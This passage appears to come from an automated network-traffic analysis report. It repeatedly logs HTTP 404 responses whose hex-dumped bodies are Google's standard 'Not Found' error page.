6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:01 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:03 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:05 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:09 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:11 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:12 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 